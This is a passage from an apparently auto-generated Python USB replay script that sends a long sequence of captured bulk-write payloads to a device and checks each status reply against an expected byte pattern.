b\"\\x57\\x49\\xED\\x5E\\xC4\\x55\\x1A\\x80\\x98\\x61\\x9B\\xE5\\x5E\\xAD\\xD1\\xCE\"\n b\"\\xD5\\xAB\\xA2\\x1B\\x49\\x9D\\xE8\\xC3\\x95\\x66\\xFE\\x35\\xE9\\x49\\xFB\\x0D\"\n b\"\\x58\\xED\\xA5\\xF2\\x44\\xAF\\x59\\x0F\\x39\\x20\\xE5\\x9B\\xF6\\x18\\xDB\\xA9\"\n b\"\\xE0\\x7F\\x9D\\xB4\\x32\\x6C\\x76\\x6E\\xF7\\x80\\x37\\xBF\\xE2\\x9B\\x52\\x39\"\n b\"\\x51\\x28\\x7C\\x00\\x8C\\x3C\\x88\\xBB\\x3A\\x33\\x49\\x72\")\n # Generated from packet 251/252\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 251/252\")\n # Generated from packet 253/254\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2D\\x44\\x70\\xA1\\xBB\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDE\\x5C\\x3D\\xEF\\x2F\\x49\\xA6\\x2F\"\n b\"\\xB3\\xA5\\x0E\\xFC\\x90\\x21\\x5D\\xDF\\x15\\x7D\\x65\\x7E\\xA8\\x54\\x53\\xDF\"\n b\"\\x18\\x95\\xE5\\xB4\\x43\\xA0\\xC7\\x97\\xBD\\x85\\x22\\xFC\\xFC\\x17\\x7D\\xB6\"\n b\"\\x03\\x25\\x60\\xE1\\xF9\\xE5\\x25\\xAA\\x34\\x3E\\x04\\xCA\\x5C\\x74\\x6D\\x27\"\n b\"\\xFD\\x3F\\xF2\\x2F\\xF6\\xF4\\x06\\x0A\\x63\\x7F\\x52\\xAA\\xAC\\xA1\\x70\\x6B\"\n b\"\\xCE\\x21\\x85\\x59\\x91\\xB1\\xA6\\x70\\x5D\\x1C\\xFC\\x45\\x14\\x54\\x72\\xB4\"\n b\"\\x7A\\x7C\\x41\\x8E\\x15\\xC2\\x2A\\xCD\\x96\\xEF\\x9E\\xE0\\x3D\\x32\\x05\\xD6\"\n b\"\\x28\\xEE\\x48\\x55\\xFC\\x79\\xEB\\xAB\\xD4\\x93\\x3E\\xD0\\xE3\\x47\\x98\\x64\"\n b\"\\x01\\xE3\\x92\\x4C\\x05\\x53\\x02\\x7C\\x96\\x8F\\x6F\\x0F\\x74\\x83\\xBA\\x13\"\n b\"\\x26\\x0B\\x25\\x78\\x4A\\xD9\\x52\\x36\\xF9\\xE3\\xA7\\xEA\\xDC\\x5F\\x9F\\x19\"\n b\"\\xE8\\xF4\\xE3\\x3F\\x14\\x1C\\x0F\\x31\\x0E\\x1F\\x40\\xCA\\x7A\\x8C\\x73\\x7E\"\n b\"\\x5A\\x73\\x0D\\x53\\x41\\x86\\x32\\xC9\\x77\\x22\\x0E\\xD3\\xF9\\xB5\\xDD\\xEF\"\n b\"\\xA5\\xFE\\x15\\xB5\\xAF\\x5E\\x03\\x30\\xE8\\x7D\\x3D\\xA9\\x96\\x58\\xA4\\xA1\"\n b\"\\xC5\\x41\\x3A\\x85\\x84\\x29\\x28\\x3F\\x67\\x2C\\x7B\\xB2\\x4E\\x26\\xFB\\xE4\"\n b\"\\x36\\xED\\x12\\x8F\\x0E\\x75\\x06\\x0B\\xD9\\x4F\\x8F\\x0F\\xB5\\x30\\x75\\x92\"\n b\"\\xE5\\xDD\\x3E\\x84\\xF4\\x62\\x95\\xD1\\xC8\\x66\\xB4\\xC5\\x12\\xB6\\x06\\x37\"\n b\"\\x14\\x24\\xF1\\x46\\xEA\\xA0\\x67\\x73\\xF8\\x6B\\x08\\xDD\")\n # Generated from packet 255/256\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 255/256\")\n # Generated from packet 257/258\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x08\\xA5\\xC5\\xF3\\x8B\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBA\\x6A\\x68\\x07\\x71\\xA6\\x0A\\xF3\"\n b\"\\xFF\\x31\\xD5\\xAF\\xA3\\x7A\\x0D\\x75\\xA9\\xDA\\x0F\\x10\\xEE\\xF9\\x25\\xC9\"\n b\"\\x90\\xDC\\xAC\\x01\\xC3\\xC5\\x3E\\xA5\\x82\\xAD\\x20\\x7F\\x61\\xA8\\x63\\xD3\"\n b\"\\x48\\xA2\\xE7\\xC4\\x30\\x69\\x0A\\xCF\\x08\\xF1\\x0E\\xAA\\xDF\\xCB\\x8B\\x2F\"\n b\"\\xB3\\xB4\\x7D\\xD2\\xE3\\x59\\x26\\x45\\xF2\\xE6\\x99\\xF1\\xCE\\xE2\\xAC\\xE5\"\n b\"\\xAD\\xBC\\x1A\\x70\\x4A\\x2A\\x80\\xC2\\xDA\\x0E\\x28\\x82\\xFE\\xEF\\x08\\x9F\"\n b\"\\x9D\\x6F\\xB7\\xDC\\x49\\xD2\\xBB\\x82\\x80\\x64\\xE1\\x6F\\xE7\\xBB\\x6B\\x94\"\n b\"\\xC6\\x1F\\x82\\x64\\x75\\x40\\xA9\\x02\\xC2\\xFB\\xE0\\xF2\\xC2\\xBA\\x0B\\x5E\"\n b\"\\x50\\xA5\\xC2\\xAA\\x6B\\xDA\\x6E\\xFA\\x32\\x9D\\xE2\\x4E\\x20\\x3E\\x0A\\x25\"\n b\"\\x0B\\x92\\x42\\x77\\xE3\\x78\\xB2\\xE9\\xA1\\x70\\xA5\\xF0\\x25\\x64\\x76\\xC3\"\n b\"\\x6F\\xB9\\xE0\\xCF\\xB7\\xE6\\x89\\xD1\\x29\\xDD\\x4B\\x05\\x33\\xEF\\x11\\xF8\"\n b\"\\x16\\x2D\\xF6\\x36\\x02\\xCB\\xE4\\x96\\x88\\x41\\x30\\x38\\x00\\x74\\xCE\\x23\"\n b\"\\xA5\\xF1\\x28\\xFF\\x96\\xD7\\x96\\xCD\\xFE\\x2F\\xE3\\xD3\\x61\\x4A\\x37\\xF3\"\n b\"\\x4D\\x4A\\x6D\\xED\\x3B\\xE9\\xFC\\x37\\xAE\\xC7\\x48\\x97\\x0F\\x4C\\xFC\\xE9\"\n b\"\\x36\\x59\\xE5\\xCF\\xB5\\x61\\x29\\xAB\\xF1\\x81\\xDE\\x32\\x24\\xAE\\x51\\xD1\"\n b\"\\xAB\\x39\\xF0\\x49\\xD4\\x5F\\x9D\\x73\\x52\\x04\\x08\\x28\\xF0\\x33\\x46\\x91\"\n b\"\\x82\\x76\\xF3\\x3B\\x03\\x13\\xA0\\x71\\xFB\\xE3\\x37\\xAA\")\n # Generated from packet 259/260\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 259/260\")\n # Generated from packet 261/262\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x76\\x74\\x80\\x2A\\xA6\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\x81\\x4C\\x69\\xB2\\x10\\xDC\\xEB\"\n b\"\\xC1\\xA2\\x8B\\x4D\\x12\\xCB\\xD9\\x51\\xF0\\x87\\x10\\xA9\\xA2\\x63\\xE3\\x3D\"\n b\"\\x5C\\xDC\\xDB\\xF6\\xB8\\x37\\xA7\\xB4\\xA3\\xFD\\x78\\xC2\\xAA\\x8D\\xC7\\x28\"\n b\"\\x29\\x55\\x04\\xF3\\x4F\\xED\\xD3\\xE1\\x1C\\xC6\\xAB\\x5C\\xC0\\xB0\\x14\\x79\"\n b\"\\x39\\xC2\\x71\\xEC\\x15\\x3B\\x97\\x7E\\xC2\\x3F\\x4A\\x4E\\xA4\\x23\\x6C\\xB8\"\n b\"\\xD4\\x5C\\x0C\\xF6\\x2C\\x55\\x22\\xD9\\x80\\x38\\x35\\xE7\\xAC\\x95\\x82\\x62\"\n b\"\\x44\\xD4\\x05\\x2B\\x1A\\x26\\xBA\\xB1\\x37\\x7C\\xB2\\xBA\\x0B\\x2A\\x1F\\xE8\"\n b\"\\xE1\\x2B\\x91\\x9E\\x21\\x3D\\x7E\\x51\\x13\\x85\\x79\\xD0\\x24\\x36\\xAB\\x9B\"\n b\"\\xC9\\xFA\\xC8\\xB0\\x31\\x22\\xB8\\xC6\\xDC\\x5D\\xFD\\xE0\\xDB\\xDC\\xF8\\x79\"\n b\"\\x01\\xC6\\x2E\\x6C\\x02\\x0E\\xF6\\xB6\\x9C\\xA9\\x4E\\x45\\x58\\x62\\xE6\\x52\"\n b\"\\x05\\x9B\\xA8\\x78\\x60\\x7D\\x8B\\xF3\\x8B\\x60\\xBF\\x5F\\x23\\x5C\\x97\\x0B\"\n b\"\\x6D\\xEA\\xFB\\x9D\\xD3\\xCF\\x7F\\x1E\\xE3\\x65\\xCF\\x3C\\x2D\\x49\\x4A\\x26\"\n b\"\\xC3\\xE2\\x73\\x00\\x29\\x02\\xC6\\x16\\x0A\\xF4\\x42\\x81\\xE9\\x28\\x28\\xB5\"\n b\"\\xF5\\x22\\x3A\\x7F\\x18\\xC7\\x2F\\xFF\\x92\\x63\\x6B\\xEE\\xC2\\xE2\\xC2\\xE8\"\n b\"\\xFC\\x7A\\x67\\x15\\xF7\\xD2\\xE3\\x15\\x4D\\x65\\x90\\x56\\xCD\\x6E\\xC3\\x3B\"\n b\"\\x2B\\xE2\\x5B\\x74\\x4F\\xBB\\x37\\xB7\\xA6\\xAE\\xD2\\x13\\x2D\\x3D\\x97\\x37\"\n b\"\\xC6\\xEF\\x2A\\x8F\\xFC\\xBB\\xBD\\xF2\\x22\\xAF\\x71\\x19\")\n # Generated from packet 263/264\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 263/264\")\n # Generated from packet 265/266\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x91\\x68\\xB9\\x17\\x1F\\x70\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x22\\xF5\\x77\\x11\\x35\\x54\\x13\"\n b\"\\xAB\\x1B\\xA3\\x05\\x6F\\x7B\\xB7\\x27\\x51\\x9A\\x28\\x52\\x7C\\xB9\\x4F\\x35\"\n b\"\\x49\\x4D\\x59\\xA7\\x4B\\xD4\\xF3\\xF6\\xFE\\x40\\x1F\\x42\\x28\\xC5\\x26\\x21\"\n b\"\\xA4\\xB5\\x8F\\x26\\x0C\\x32\\xFE\\x7C\\x36\\x5F\\xA7\\xED\\xC3\\xC7\\xD6\\x7B\"\n b\"\\x60\\x48\\xD9\\xB9\\x1E\\xE8\\x53\\x2D\\x76\\x00\\x3E\\x05\\x4A\\x67\\xDA\\x31\"\n b\"\\x0D\\x71\\x4D\\x96\\x34\\x54\\xFE\\x30\\x2C\\x34\\xAD\\x9D\\x1E\\xAF\\x34\\xA2\"\n b\"\\x25\\x20\\x92\\x37\\xA3\\xE9\\x93\\x45\\x31\\xC0\\x0D\\xE4\\xA8\\xFD\\xEB\\x40\"\n b\"\\xE8\\x9C\\xE1\\x84\\x13\\x50\\x64\\xBD\\xCF\\xB0\\x06\\x4B\\x94\\xA3\\x62\\x5A\"\n b\"\\x8C\\xC4\\x0D\\xD9\\x3B\\xE5\\x93\\xF0\\x06\\x5C\\xAF\\xD4\\x2B\\xE8\\x36\\x25\"\n b\"\\x2D\\x0F\\x71\\x8C\\x26\\xCA\\x9D\\x3C\\xFC\\x3D\\x02\\x7B\\x59\\x7E\\x30\\x55\"\n b\"\\x4A\\xC9\\x3A\\xF0\\x60\\x8D\\x6C\\xDE\\xA0\\x2D\\x96\\x83\\xEC\\x9A\\xF9\\x2A\"\n b\"\\x73\\x12\\x9B\\xC0\\xA8\\x61\\xA3\\xED\\x67\\x5F\\xA3\\x8C\\x98\\xD3\\xF0\\xB2\"\n b\"\\xE9\\xF0\\x08\\xF6\\xA5\\x36\\x43\\x85\\x69\\x40\\xDC\\xAA\\x57\\xA4\\x24\\x28\"\n b\"\\xAF\\x82\\x90\\x5A\\x79\\x46\\x4D\\xCA\\xEC\\x33\\x54\\x5C\\xF5\\xCD\\xD6\\x8C\"\n b\"\\x11\\x99\\x59\\x66\\x88\\x32\\x48\\xCB\\xC4\\xA8\\x52\\xD9\\x9E\\x55\\x30\\xBB\"\n b\"\\xDD\\x8D\\x61\\xE7\\x3F\\x18\\xF9\\x59\\xB3\\x36\\xFC\\xE0\\x87\\x03\\x0C\\x4B\"\n b\"\\xD5\\x0A\\xE5\\xF5\\x5D\\x86\\x12\\x95\\xB2\\x10\\x10\\x72\")\n # Generated from packet 267/268\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 267/268\")\n # Generated from packet 269/270\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7E\\x7A\\x5D\\xB8\\x03\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFE\\xF1\\xB0\\x31\\x17\\xD3\\x45\\xD4\"\n b\"\\x95\\x8E\\xBD\\xC0\\x11\\xEA\\xBF\\x36\\x75\\x54\\xA3\\x4A\\xF8\\x8C\\x90\\x9E\"\n b\"\\xBA\\xEF\\x7A\\xA3\\xEE\\x8D\\x2A\\xE1\\x56\\xF6\\x4F\\xAD\\xD5\\x1D\\x9A\\x82\"\n b\"\\xFE\\x50\\x64\\x10\\x54\\xB8\\x9B\\x83\\x82\\xAA\\x96\\x1B\\x89\\x45\\x4F\\x6A\"\n b\"\\x78\\x1F\\xCD\\x16\\x36\\x46\\x7D\\xC0\\xBC\\x08\\xA3\\x1B\\x85\\x09\\xE7\\x10\"\n b\"\\x7B\\xD8\\xAA\\x5F\\x72\\xCE\\xF5\\x47\\x74\\x47\\x0C\\x40\\x5A\\x09\\x6B\\xB6\"\n b\"\\x09\\x9E\\x62\\xDD\\x51\\x83\\xB4\\x07\\xD2\\x56\\xA7\\xD0\\xE5\\xF6\\x8A\\x07\"\n b\"\\x64\\x87\\x6B\\x67\\xC6\\xC2\\x20\\x32\\xA6\\x5B\\xC7\\xF3\\x61\\x55\\x57\\x3C\"\n b\"\\xAF\\x72\\xBE\\x2E\\x3D\\xF5\\xB2\\xF2\\xF7\\xA3\\x9F\\xC4\\x4B\\x41\\x18\\x97\"\n b\"\\xCF\\x9E\\xAD\\xCF\\xC0\\xCF\\xCB\\xD9\\x4B\\xB0\\x6C\\x50\\x6E\\x15\\xCA\\x12\"\n b\"\\xB7\\x7C\\x0F\\xFB\\x79\\xD9\\x35\\x25\\xB1\\x82\\xA3\\x62\\xC1\\xFF\\xD2\\x94\"\n b\"\\xF8\\x33\\x9D\\x05\\x21\\xAE\\x8E\\x74\\x9A\\x83\\x85\\x4D\\xB4\\x23\\x5C\\x6E\"\n b\"\\xEE\\x4C\\x42\\x69\\x04\\xBE\\xAC\\xFB\\xAE\\x90\\xE5\\xC3\\x56\\x6E\\x4D\\xF2\"\n b\"\\x97\\xEA\\xF7\\xEB\\x1E\\xA1\\x6E\\xD5\\xB4\\xB9\\x59\\xEF\\x14\\x8C\\x1B\\x5B\"\n b\"\\x65\\xB2\\xEC\\xEB\\xC9\\xE8\\x19\\x60\\x62\\xF8\\xD6\\x91\\x53\\xBD\\x0B\\x48\"\n b\"\\x1A\\xDF\\xD3\\x93\\xE5\\x8C\\x5F\\x20\\xAF\\xAF\\x8D\\x5C\\x66\\x43\\x8D\\xD2\"\n b\"\\x60\\xA4\\x34\\x92\\x55\\x9A\\xD3\\xE2\\xDC\\x27\\x7B\\xFA\")\n # Generated from packet 271/272\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 271/272\")\n # Generated from packet 273/274\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x64\\x2B\\x0D\\x6B\\x5A\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1A\\x4F\\xDD\\x44\\x40\\xDD\\x94\\xFF\"\n b\"\\xCC\\xFB\\xD9\\xF6\\x99\\x04\\x9D\\xBE\\x3E\\x55\\xC6\\xEC\\xB8\\x8B\\x7B\\xB1\"\n b\"\\xB1\\xDA\\x01\\xCA\\x35\\x16\\x7E\\xCB\\x8B\\x02\\x0E\\x04\\x4D\\xDA\\x05\\x81\"\n b\"\\x18\\xCD\\xFF\\xFC\\x0F\\x59\\x1B\\xB3\\x20\\x4F\\x78\\xE5\\x05\\x28\\x57\\xF1\"\n b\"\\xEC\\x34\\x5A\\x05\\x42\\x18\\x46\\x1D\\x99\\xFE\\x5C\\x84\\x83\\xF4\\xA4\\xCF\"\n b\"\\xAF\\xBA\\x68\\xC3\\x94\\x35\\xF1\\x17\\xDB\\xE2\\x65\\x62\\x08\\x09\\xC7\\xEC\"\n b\"\\x68\\xEB\\xD7\\xA5\\x96\\x9F\\x3B\\x6B\\xDD\\x9A\\xC3\\x3B\\x5E\\x42\\x9E\\xC8\"\n b\"\\x25\\x0C\\x75\\xF9\\x04\\x9C\\x36\\x77\\x25\\xD3\\x1D\\x68\\xCC\\x9A\\x44\\xE4\"\n b\"\\xCD\\x73\\xD0\\xCA\\xD9\\xE5\\x30\\xDA\\xD0\\xB2\\x02\\x3C\\x9B\\xBD\\x40\\xC8\"\n b\"\\xF3\\xC8\\xAA\\x1E\\x46\\x03\\x36\\xC7\\xF7\\x37\\x0F\\x94\\x9D\\x83\\x88\\xE9\"\n b\"\\xD3\\xCF\\xFF\\x06\\x08\\x34\\x47\\x10\\xDB\\xCC\\xAA\\x64\\x4C\\x4A\\x65\\x98\"\n b\"\\x75\\x7E\\x50\\xB8\\x78\\xEA\\xCC\\x68\\xC4\\xEF\\x63\\x20\\xD6\\xDE\\x49\\xFE\"\n b\"\\xC3\\x35\\x05\\xAB\\x8A\\x2F\\x5E\\x43\\x1A\\x17\\xD6\\x0D\\x0D\\xB1\\xCB\\x65\"\n b\"\\x10\\xA1\\x85\\x64\\x83\\x55\\x9A\\x45\\xC3\\x5D\\xEA\\xAB\\xD4\\x19\\x65\\x25\"\n b\"\\x62\\xA7\\x1F\\xFE\\x18\\xE3\\x82\\xA3\\x56\\xF5\\x26\\x7A\\xF6\\xAF\\x13\\xBD\"\n b\"\\x3D\\x55\\xCA\\x42\\xB2\\xA2\\x28\\x4D\\xD8\\x74\\x67\\x65\\x59\\x62\\x7D\\x4A\"\n b\"\\xEB\\xA9\\xF4\\xB8\\xE3\\x04\\x6E\\x8F\\x52\\x7C\\x0E\\x2A\")\n # Generated from packet 275/276\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 275/276\")\n # Generated from packet 277/278\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB8\\x1B\\x1C\\xE3\\x7D\\x76\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\xFC\\x49\\x41\\xC0\\xC8\\xDC\\x8D\"\n b\"\\x77\\x68\\xA4\\x17\\x0E\\xB6\\x27\\x72\\x91\\xEB\\x5F\\x50\\x00\\x75\\x89\\x34\"\n b\"\\xF3\\x2D\\x83\\xE0\\x93\\x95\\x7F\\xA6\\xF9\\xCA\\x18\\x6C\\x87\\x84\\x8D\\x42\"\n b\"\\x3F\\x16\\x1C\\xF3\\xE0\\x54\\x8F\\xBD\\x1C\\x86\\x2C\\x65\\x0F\\xE8\\x7D\\x96\"\n b\"\\x61\\x45\\x5A\\x8D\\x34\\x44\\x1B\\x45\\xAD\\x42\\xF7\\x5B\\x40\\xB7\\x10\\xF4\"\n b\"\\x61\\x29\\x3E\\x11\\x99\\x39\\xA3\\xB2\\x0D\\x99\\x7C\\x43\\x43\\x1B\\xF4\\x38\"\n b\"\\xB4\\xAA\\xC2\\xAB\\xED\\x09\\x51\\x76\\xA7\\x27\\x78\\xD0\\x61\\x3F\\xB6\\x24\"\n b\"\\x68\\x00\\x67\\x7D\\xAD\\xD4\\x68\\xE2\\x05\\x07\\x20\\x5D\\x85\\xA8\\x73\\x81\"\n b\"\\x32\\xDA\\x02\\x97\\xD0\\x65\\xCF\\x0B\\x64\\x90\\x7C\\xE3\\x13\\x30\\x61\\xA9\"\n b\"\\x53\\xD8\\xF9\\x09\\x8F\\xB4\\x3C\\x17\\xD5\\x62\\x84\\x1B\\xE6\\xB7\\xC9\\x34\"\n b\"\\x91\\xEA\\x8F\\x7D\\xFF\\xEF\\x10\\x02\\x84\\x9D\\x55\\xAC\\xAF\\x64\\xE5\\x04\"\n b\"\\xB1\\xDD\\x52\\x39\\x9E\\xE1\\x6C\\x10\\xEA\\x76\\x9A\\xDF\\x62\\xCD\\x95\\x93\"\n b\"\\xF3\\xCF\\xB8\\x07\\xD1\\x35\\x55\\xFC\\x45\\xCA\\x0A\\x73\\x2E\\x39\\x24\\x89\"\n b\"\\x9F\\x74\\x23\\x42\\xAF\\x4C\\xD1\\x79\\x84\\xE1\\x62\\x43\\xE9\\x3C\\x72\\x55\"\n b\"\\x17\\xF5\\x07\\x1F\\xFF\\xB0\\x87\\xA1\\xA8\\x3A\\x28\\xC4\\xD8\\x93\\x83\\x61\"\n b\"\\xD4\\x74\\xC3\\xB6\\x39\\x55\\xE9\\xA5\\x81\\x2F\\xB7\\x22\\x90\\x64\\x70\\x04\"\n b\"\\x20\\xF4\\x6F\\x69\\x5A\\x98\\xAE\\x29\\x16\\x50\\xFC\\x16\")\n # Generated from packet 279/280\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 279/280\")\n # Generated from packet 281/282\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\xAE\\x8D\\x1E\\x09\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x2A\\xE3\\x26\\xEB\\x53\\x0D\\xE7\"\n b\"\\x30\\x45\\x52\\x71\\x33\\xBD\\x31\\x9E\\xF5\\x98\\x0A\\x94\\x31\\x30\\x76\\xE6\"\n b\"\\xAB\\x7C\\xD7\\x94\\x8C\\x16\\xF0\\x59\\x9C\\xCA\\xC4\\xAE\\x0F\\x30\\x38\\x2C\"\n b\"\\x90\\xE4\\x28\\x97\\xA5\\xCB\\xDB\\x00\\x35\\x1C\\xAE\\xB8\\x96\\xDC\\xAC\\x10\"\n b\"\\x9D\\x2C\\xFF\\xCC\\xEF\\xE3\\x12\\x49\\xFA\\x9F\\x82\\xF1\\x27\\x36\\x19\\x7D\"\n b\"\\x46\\xB8\\x46\\xA6\\x0C\\xD6\\x29\\x88\\xD5\\xBF\\x1C\\x87\\x62\\x0E\\x2D\\x6B\"\n b\"\\x4B\\x7E\\x02\\x89\\x47\\x55\\x2F\\xB9\\xA3\\x2E\\xD6\\x86\\x72\\xD4\\xBB\\xAE\"\n b\"\\x4C\\x8B\\x19\\xEB\\xC3\\x27\\xB7\\x4A\\xF5\\x87\\x5C\\x7E\\x14\\xBA\\x61\\xF5\"\n b\"\\x9D\\x53\\xD4\\x6D\\xD7\\x31\\x6A\\x06\\x29\\x48\\x50\\x78\\x4D\\x02\\xBC\\xF0\"\n b\"\\x1B\\x1C\\xCE\\x0D\\xE3\\x0B\\x7A\\xAC\\x5D\\xBA\\xD2\\x6B\\xC4\\x2D\\x7E\\xE8\"\n b\"\\xB3\\x42\\x7E\\x32\\xEC\\x57\\xC7\\x4A\\xA4\\x51\\x57\\xF4\\x0E\\x59\\x77\\xD1\"\n b\"\\xAB\\x9B\\x2D\\x39\\x04\\x3A\\xC2\\x7C\\x7E\\x74\\xDB\\xF5\\xFE\\x27\\x8D\\xA6\"\n b\"\\x9F\\x70\\xB3\\x6B\\x99\\x56\\x87\\xD3\\xA3\\x45\\x33\\x6B\\xBF\\x4B\\x79\\x84\"\n b\"\\xAC\\xF8\\x58\\xBB\\x9E\\xD9\\x3D\\x2A\\x99\\xB3\\xA2\\xA5\\x30\\x12\\x96\\x08\"\n b\"\\x32\\x54\\x43\\x5C\\x49\\x7F\\xE3\\x49\\x3A\\x24\\xDF\\xF8\\x9B\\x37\\x72\\xD5\"\n b\"\\x87\\xBA\\xC5\\x51\\xD2\\x5F\\xB6\\x54\\x48\\x28\\x41\\xE4\\x46\\xDB\\x3B\\x59\"\n b\"\\xF5\\x37\\xBE\\x9C\\xEF\\xDA\\x78\\x27\\x30\\x7E\\xFF\\x7B\")\n # Generated from packet 283/284\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 283/284\")\n # Generated from packet 285/286\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x71\\xF8\\x29\\xFE\\x38\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFA\\xF3\\xE2\\xED\\x86\\xC2\\x4C\\x6C\"\n b\"\\xDD\\xC2\\x1A\\xC1\\x44\\x84\\xE2\\x12\\xC8\\x41\\x28\\xCB\\x97\\x28\\x68\\xA1\"\n b\"\\xB7\\x76\\x24\\x78\\x04\\x4C\\xFF\\x7C\\x86\\x44\\x9D\\xC1\\x82\\x08\\xAD\\x97\"\n b\"\\x82\\xFB\\x3C\\xCC\\xED\\x4D\\x18\\x54\\xBF\\x0F\\x76\\x16\\x3D\\xA3\\x5E\\xCB\"\n b\"\\x18\\x9D\\x27\\xEA\\x15\\x2B\\x3A\\xFF\\x9E\\x3B\\xAB\\xCD\\xD7\\x17\\xF2\\x01\"\n b\"\\xE1\\xEF\\x29\\xD4\\xC4\\x1E\\xEA\\x89\\xF7\\x90\\x9E\\x90\\x68\\xB4\\x49\\xB4\"\n b\"\\xA4\\x59\\x5C\\xCB\\x30\\x20\\x93\\xC3\\x3D\\x17\\x2F\\xB9\\x9D\\xCA\\x06\\xDA\"\n b\"\\x98\\x15\\x6B\\xB6\\xF8\\x00\\x26\\xF8\\x38\\xCB\\x72\\x2D\\x39\\x5C\\x52\\xCD\"\n b\"\\x6C\\xAF\\xE1\\x27\\xA4\\xAB\\x35\\x94\\x57\\xC6\\x1A\\x8A\\xEB\\x07\\xF0\\x53\"\n b\"\\x63\\xC0\\xB7\\x8F\\xDA\\x03\\x18\\xBB\\x33\\x11\\x3E\\x32\\xF5\\x90\\xFE\\x67\"\n b\"\\xD2\\x25\\x43\\xC4\\xC0\\xFD\\x6C\\x89\\x61\\xD4\\x27\\x1B\\x24\\xC3\\x3F\\xFD\"\n b\"\\x93\\x5A\\x1C\\x59\\x25\\x48\\x07\\x23\\xF0\\x50\\x26\\xCD\\xDA\\x9F\\x60\\xBE\"\n b\"\\x8E\\xF1\\x70\\xBE\\xA2\\x5A\\x13\\xC7\\xED\\x22\\x0E\\x66\\xA3\\xE7\\xAE\\xC3\"\n b\"\\xF4\\x60\\xA4\\x30\\x86\\x10\\x81\\x4C\\x8F\\x9F\\x39\\xE3\\x38\\xB8\\x93\\xDA\"\n b\"\\x5B\\x10\\xA4\\xFE\\xAA\\xA1\\xE7\\xE8\\xF0\\xC1\\x7E\\x04\\x69\\xDF\\x83\\x4E\"\n b\"\\xA3\\xA1\\x40\\x95\\x84\\xB4\\x14\\x78\\x29\\x01\\x74\\x3E\\xE3\\x3A\\x8D\\xC6\"\n b\"\\x31\\x6B\\xCB\\xDC\\x11\\xC2\\xC9\\x48\\x9F\\x0C\\x85\\x3F\")\n # Generated from packet 287/288\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 287/288\")\n # Generated from packet 289/290\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x75\\x6C\\x25\\x44\\x25\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3A\\x9C\\xB0\\x31\\xCE\\x88\\xCE\\x25\"\n b\"\\x2E\\x33\\x89\\x0C\\xD5\\xE6\\x86\\x72\\x88\\x69\\x2E\\x98\\x98\\x27\\x92\\xEE\"\n b\"\\x01\\x52\\x4E\\x80\\x22\\xC9\\xB7\\x09\\x9F\\x4E\\x1F\\xDF\\x08\\x6F\\x0B\\xFD\"\n b\"\\x5A\\xF4\\x1B\\x77\\x0F\\x28\\x1D\\x0B\\xDB\\x8E\\x87\\x6F\\x9F\\xFB\\x5A\\xC0\"\n b\"\\x8A\\x98\\xF0\\xC8\\x83\\x42\\x4A\\x73\\x7C\\x4C\\x3E\\xF3\\x44\\x50\\x37\\x62\"\n b\"\\xF3\\x36\\x3B\\x49\\x87\\xB6\\x15\\xB0\\x4C\\xA8\\xC2\\xF0\\xB7\\x11\\xF7\\xB4\"\n b\"\\x2D\\xE8\\xB2\\xD7\\x04\\x7A\\x8D\\xB9\\xE6\\x03\\xD1\\x72\\xA1\\xB2\\x86\\x11\"\n 